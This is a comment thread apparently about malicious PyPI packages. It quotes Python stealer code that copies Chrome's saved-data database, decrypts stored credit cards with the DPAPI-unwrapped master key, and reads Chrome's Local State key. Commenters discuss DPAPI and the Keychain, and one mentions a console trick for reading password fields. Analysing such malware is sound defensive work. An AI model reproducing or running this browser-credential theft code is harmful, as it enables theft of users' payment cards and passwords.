by smallerfish · 5y ago · 0 comments
def cs():
master_key = master()
login_db = os.environ['USERPROFILE'] + os.sep + \
r'AppData\Local\Google\Chrome\User Data\default\Web Data'
shutil.copy2(login_db, "CCvault.db")
conn = sqlite3.connect("CCvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT * FROM credit_cards")
for r in cursor.fetchall():
username = r[1]
encrypted_password = r[4]
decrypted_password = dpw(
encrypted_password, master_key)
expire_mon = r[2]
expire_year = r[3]
```Where does master_key come from here? Is chrome encryption of sensitive information really as weak as that?
def master():
try:
with open(os.environ['USERPROFILE'] + os.sep +
r'AppData\Local\Google\Chrome\User Data\Local State',
"r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
except:
pass
master_key = base64.b64decode(local_state["os_crypt"]
["encrypted_key"])
master_key = master_key[5:]
master_key =
ctypes.windll.crypt32.CryptUnprotectData(
(master_key, None, None, None, 0)[1])
return master_key> Keychain items can be shared only between apps from the same developer.
https://support.apple.com/guide/security/keychain-data-prote...
Instead the Windows API's have a symmetric encryption API (DPAPI) that allows developers to supply plain text, and receive cipher text.
It would then be up to developers to persist the cipher text.
DPAPI master key is protected by the OS, behind User Credentials.
a dodgy pypi package that can call CryptUnprotectData too
Windows doesn't have any application firewalls by default? I thought that was the whole thing that came in with Vista that people were upset about. (Of course, thinking it through, Linux isn't any better, assuming the process is running as the same user.)
It's definitely a ui feature. If you want to extract the password all you have to do is visit the login page, open the developer console, and type $("input[type=password]").value
Also a copy of noblesse2, which I didn't bother to look into due to obfuscation: https://pypi.tuna.tsinghua.edu.cn/packages/15/59/cbdeed656cf...